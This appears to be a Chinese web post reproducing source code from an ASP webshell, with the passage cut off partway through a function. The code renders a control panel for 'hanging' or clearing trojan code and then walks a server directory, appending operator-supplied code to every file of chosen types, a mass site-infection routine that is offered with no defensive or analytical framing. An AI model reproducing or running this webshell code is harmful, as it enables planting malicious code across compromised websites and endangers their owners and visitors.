asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

if M="4" then RRS "<tr><td class=TBTD>过滤重复:</td><td class=TBTD><input class=c name='checkbox' checked='checked' type=checkbox value=""checked"" "&checkbox&"> 防止一个页面中有多个重复的代码</td></tr><tr><td class=TBTD>指定文件:</td><td class=TBTD><input name='zfile' type=text id='zfile' value='"&zfile&"' size=40>填写你要挂文件名[不含扩展名]</td></tr>"
RRS "<tr><td class=TBTD>排除文件:</td>"
RRS "<td class=TBTD><input name='pcfile' type=text id='pcfile' value='"&pcfile&"' size=40>例如:1.asp|2.asp|3.asp</td></tr>"
RRS "<tr><td class=TBTD>文件类型:</td>"
RRS "<td class=TBTD><input name='FType' type=text id='FType' value='"&Ftype&"' size=40> 输入要修改的文件类型[扩展名]</td></tr><tr><td class=TBTD>"
if M="1" then RRS"要挂的马:"
if M="2" then RRS"要清的马:"
if M="3" then RRS"查找内容:"
RRS"</font></td><td class=TBTD><textarea name=code cols=66 rows=3>"&addcode&"</textarea></td></tr>"
if M="3" then RRS "<tr><td class=TBTD>替 换 为:</td><td class=TBTD><textarea name=code2 cols=66 rows=3>"&addcode2&"</textarea></td></tr>"
RRS "<tr><td class=TBTD></td><td class=TBTD> <input name=submit type=submit value=开始执行> --标记解释--[成功:√ , 排除:× , 重复:<font color=red>×</font>]</td></tr>"
RRS "</table></form>"
if request("submit")="开始执行" then
RRS "<TABLE width=80% border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d><TR><TD class=TBHead align=center>结果</TD><TD class=TBHead>文件绝对路径</TD>& lt;TD class=TBHead width='30%' align=center>编辑栏</TD></TR>"
call InsertAllFiles(Fpath,addcode,pcfile)
end if
Sub InsertAllFiles(Wpath,Wcode,pc)
Server.ScriptTimeout=999999999
if right(Wpath,1)<>"" then Wpath=Wpath &""
Set WFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = WFSO.GetFolder(Wpath)
Set fc2 = f.files
For Each myfile in fc2
Set FS1 = CreateObject("Scripting.FileSystemObject")
FType1=split(myfile.name,".")
FType2=ubound(FType1)
if Ftype2>0 then
FType3=LCase(FType1(FType2))
else
FType3="无"
end if
if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then
select case M
case "1"
if checkbox<>"checked" then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
tfile.writeline Wcode
RRS"√ "&Wpath&myfile.name
tfile.close
else
Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
if Instr(tfile1.readall,Wcode)=0 then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)